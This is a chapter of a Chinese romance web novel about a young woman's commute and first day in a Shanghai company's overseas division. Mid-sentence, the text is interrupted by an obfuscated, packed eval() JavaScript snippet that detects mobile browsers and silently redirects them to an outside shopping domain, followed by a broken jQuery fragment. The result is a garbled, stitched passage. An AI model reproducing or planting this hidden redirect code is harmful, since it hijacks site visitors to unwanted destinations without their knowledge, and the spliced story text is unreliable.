入职日期定在周一，林今提前一周搬进郊区的出租屋。
呈新电器的总部在黄浦，离她住的郊区有一段距离，要乘地铁通勤。
她爱规划，去网上搜攻略，看见很多人说上海的地铁高峰期挤得像沙丁鱼罐头，除非在起始站或是几个换乘大站上车，否则别想坐到座位；还有人说，如果离起始站不远，可以尝试倒乘回去抢座，多花上一点时间，免去罚站一路的疲惫。
纸上得来终觉浅，林今决定赶在正式上班前一周的周五，模拟一遍上班路线。
清晨六点，闹钟一响，她立刻起床洗漱。
六点一刻，她骑上自行车，往地铁站去。自行车是房东阿姨淘汰下来不要的，旧是旧了点，用还是好用的，品相埋汰，还不容易被偷，林今得让它派上用场。
六点半，她刷卡进入地铁站，交通卡是她提早在便利店购买充值好的。
截至目前，一切顺利。
站台上已有不少人等，两侧人数差距显著，绝大多数人都要往市区去。
地铁进站，林今观察车厢，许是昨晚没睡够，飞速移动的景象看得她晕乎乎的。网友所言非虚，这不过是始发站后的第二站，车上的座位已然满员，每节车厢平均还有两三人站着。
此乃噩耗。
站内播报响起，对面的列车也将进站，林今决定乘回起始站看看。地铁班次密集，一来一回顶多耽搁十分钟，换接下来一小时的座位，不算吃亏的买卖。
往始发站去的乘客，基本上都和她抱有相同的目的，到站后门一开，大家直冲对面，在屏蔽门前占好位置。
这一站有抢到座位的可能，大家不似上一站那般闲庭信步，一股脑涌进车厢。
作为这班车上的第一批“沙丁鱼”，大家完全像鱼一样灵活，一眨眼的功夫，座位就被挤满。
林今原本看准一个位置，仅仅是慢了半拍，旁边人就一个平移出现在她身后，她差点坐到他腿上，急忙抓住旁边的杆子稳住平衡，站直身体向他道歉。
忙活一通，喜提站位。
林今握着吊环，看向车窗上映出的睡眼惺忪的自己，重重地叹一口气。
动作一定要灵敏，落座一定要果断，犹豫就会失去座位。
到世纪大道换乘一次，再乘三站到南京东路，剩下的距离可步行。
走出地铁站时，林今看了眼时钟，已是八点十分，地铁全程要用上一小时四十分钟，来回就是三个多小时。
大城市的生活不只有光鲜靓丽，还有打工人灰头土脸的漫漫通勤路，为省下中心地段高昂的房租，不得不付出来回奔波的时间。
想到这将是她未来的常态，林今看太阳都觉得不甚明媚。
好在南京东路附近繁华又新奇，林今跟随导航走，一路不断抬头低头，看得眼花缭乱，心情很快多云转晴。
呈新电器的大楼离地铁站不远，不用走多久，就抵达目的地。林今关掉导航，退后几步仰望未来办公地点的全貌。
这不是她第一次见到这栋楼。
除去数月前来现场面试时的匆匆一瞥，早在多年以前，当她还囿于入目尽是低矮房屋的小村镇之时，她就看过它的照片，在呈新电器的宣传手册上。
凡是捐赠仪式，难免形式主义，呈新电器也不能免俗。合照环节过后，还有冗长无趣的致辞环节，林今随手拿了一份呈新的宣传资料解闷。
她那时才上完高一，对业绩数字毫无概念，一页页往下翻，对图片多的那一页最感兴趣，上面不仅印着好几个大型的生产基地，还有一整栋气派的写字楼。
“这是随便放的几张图片，还是真的？”林今喃喃道。
顾程昼坐在不远处的门边玩手机。闻言，手上的动作停顿住。
他的那部手机，到林今眼中也是新鲜事物，她还在用叔叔淘汰下来的诺基亚小灵通，他已经用上最新款的iPhone。智能机没有物理键盘，底部一个圆形的按钮上面，就是一大块的彩色屏幕，直接用手指触碰就能操作，快捷又方便。
顾程昼玩的是一款赛车游戏，林今坐他斜后方，正巧能看得一清二楚。
游戏规则不难懂，倾斜手机能控制赛车的转向，屏幕上的按钮则控制加速减速，划动屏幕还能进行特殊操作，一辆流线型跑车遥遥领先，向前飞驰。
她自以为是在暗中观察，其实顾程昼早就注意到。
不知是门口透气好，还是他已然闻习惯，她没先前闻上去那么香。他鼻子不痒，便不用再躲，任由她看。
他自认游戏水平不差，经得起观摩。
然而，林今搞懂规则之后，对游戏失去了兴趣，转而研究起呈新电器的宣传册。看半天，蹦出个答案显而易见的问题。
顾程昼好笑地回过头：“我们家公司的册子上，放别人家办公楼的图片不太好吧？”
起不到宣传的作用，还要冒侵权的风险。
“哦。”林今耳尖发烫，意识到自己犯了傻。
转念一想，她不过是自言自语，又没问顾程昼。他非要接话，是他多管闲事。
奈何他众星捧月，她敢怒不敢言。
等脸颊上的热度褪去，她迅速瞄一眼右前方，所有车辆抵达终点后，排名依次公布。
顾程昼中途开小差接她的话，没顾上操控赛车转弯，车子径直冲出赛道撞进草堆，倒车出坑浪费掉不少时间，他果然没拿到冠军。
活该。
今时今日，林今站在熟悉又陌生的这栋写字楼前，发现它没有记忆中那般高耸入云，夹在四周各式各样的楼房中间，它并不起眼，还有些许年代感，充其量是这座城市的普遍水准。
对岸的陆家嘴，万丈高楼拔地而起，那才叫恢弘壮观。
日光铺展，玻璃幕墙折射出道道金辉，仿佛人类野心与时代意志在闪耀。
许是儿时见识太少，大城市对她有种天然的吸引力，她被光影流转晃了眼，仍不舍得移开目光，一颗心怦怦跳得飞快。
在此之前，只会出现在照片中、荧幕上的远方风景，如今近在她眼前。
江风裹挟着水汽扑面，万物真实可感，触手可及。
天地广阔，未来盛大，这一路走来的坎坷艰辛，大可一笔勾销。
她终于来到这里。
-
入职第一天，林今醒得比闹钟早。
她按照摸索好的路线乘地铁，通勤之路无阻，到最后一步却吃了个“闭门羹”。
呈新海外事业部的办公区在大楼顶层，和高管们的办公室在一层楼，因此有单独的一道门禁。
新部门没多少人，一大半还在墨西哥出差。除此以外，会来这层楼的全是“某某总”。
且不说他们会不会这么早来上班，就算里面真有人，林今也不能劳驾他们，只能站在外面干等。
她本就来得早，等了将近一小时，总算有人出现。
“林今，对吧？”王姐迈出电梯，小跑着来给林今刷卡开门，额头上急出一层汗，“哎呦，我知道你今天入职，本来打算早点来的，结果你说滑稽伐，早出门一刻钟，多堵车半小时，我刚把女儿送到学校。是不是让你等好久了哦？对不起啊。”
海外事业部成立之初，王姐争取调到过来，就是看中这个部门规矩不严。
迟到早退一会儿，小顾总睁一只眼闭一只眼，从不斤斤计较，但让新来的小姑娘久等，还是不好。
姑娘嘴上说着没关系，却明显站得累了，抬脚活动了一下，缓解酸胀感。
王姐这一层的愧疚未消，又见林今找出一张纸巾给她擦汗，心中的愧疚更深一层，不仅给林今的入职手续办得麻利，还把自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17964495|214439||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
知道的小技巧和大八卦全都倒豆子般告诉林今。
办公区里没有其他人，她不怕说错话。
“我叫王婕，正巧是部门里年纪最大的，所以大家都叫我王姐。我们部门小，一人包揽好几个岗位的活，我管行政、人事和基础财务，总之有什么乱七八糟的杂事，一般全归我处理。”
王姐命苦地笑了下，接着又话锋一转安慰自己：“慢慢做，总能做完的。”
录入完林今的信息，正好切到系统里的员工名单，王姐从近旁工位上拉了一把办公椅过来，招呼林今坐下，指着人名，一个个给她介绍过去。
“这个月比较热闹，总共会来四个人，有两个从其他部门调过来，之前做过项目支持，你有不清楚的可以多向他们请教。两位新来的之中，你入职早一点，还有一位叫辛意的女生，我也不确定她啥时候来，可能下周，也可能下月。”
王姐降低一点音量：“她是供应商老总的女儿，究竟来干些什么，我也不晓得。反正我们随机应变，做好自己手头的活，别和她起冲突就行，你懂的。”
“周觅，你面试的时候应该见过吧，部门总监，你以后就汇报给他。他为人不坏，就是性子急，不管大事小事，一个劲催催催，急得福气都追不上他。”
“小顾总，大老板顾聿的儿子，将来的继承人……”
顾聿是公司名义上的一把手，只不过近两年渐渐退居幕后，很少再亲自过问具体经营，大部分事务都交由几个跟了他多年的心腹处理，海外事业部则交由顾程昼全权负责。
顾程昼年纪尚轻，这一决定颇具争议。
有人等着看成绩，有人等着看笑话，而王姐看个热闹。她上了二十多年的班，已经开始掰手指倒数自己还有几年能退休，早就不求上升空间，哪里干活还算舒心，她就到哪里待着。
“小顾总和他爸一样，都没什么领导的架子，整天笑眯眯的。我们部门虽然刚成立，但待遇不差的，同级别里，底薪拿的是最高的一档。这一轮招聘，不少人都是冲着这个来，我筛简历都快看花眼，条件都挺好，你能被录取，更是其中的佼佼者。”
王姐说得口干舌燥，拿过玻璃杯喝枸杞水，林今方才能插上话：“谢谢王姐，我一定会努力。”
“谢我干啥，谢你自己争气，好好干！”水温烫了些，王姐抿了两口，眼珠子一转，“见过小顾总没？”
“见过。”
“他是不是长得跟你们年轻人喜欢的偶像艺人似的？我从姑娘们那里听过一个好玩的说法，她们说他的帅不是因为他家里有十位数的资产，就算他全身上下只有十块钱，看看他那张脸，也还是帅的……”
王姐扭头，饶有兴致地端量起林今：“你说呢？”
林今腾地一下坐直。
话题转变得太快，打得她猝不及防。她有些后悔，早知道她就说没见过顾程昼，反正面试当天他的确不在场。
她给自己挖了坑，眼下王姐这问题，要她怎么答才好？
她看人并不过分注重外表，更相信相处起来的感觉。像李一言这一类，她生理性厌恶，他的脸在她心目中就是一团灰色马赛克，只要他不觍颜凑到她面前，她是万万不会想起来的。
至于顾程昼……
他的脸倒挺清晰。
她记得他十九岁时那点写在明面上得瑟劲，抓找机会将她一军，眉梢眼角全是得意，比同龄男生还要臭屁讨人厌。
记忆骗不了人，她能把他一闪而过的小表情记得一清二楚，足以说明他长得的确有一些过人之处。
可是帅又不能当饭吃。
上亿身家的他，她高攀不起；而若他兜里掏不出几枚硬币，穷得叮当响，白送给她，她也不会要。
左右事不关己，不如高高挂起，林今得出结论，淡淡地回答王姐：“还行吧。”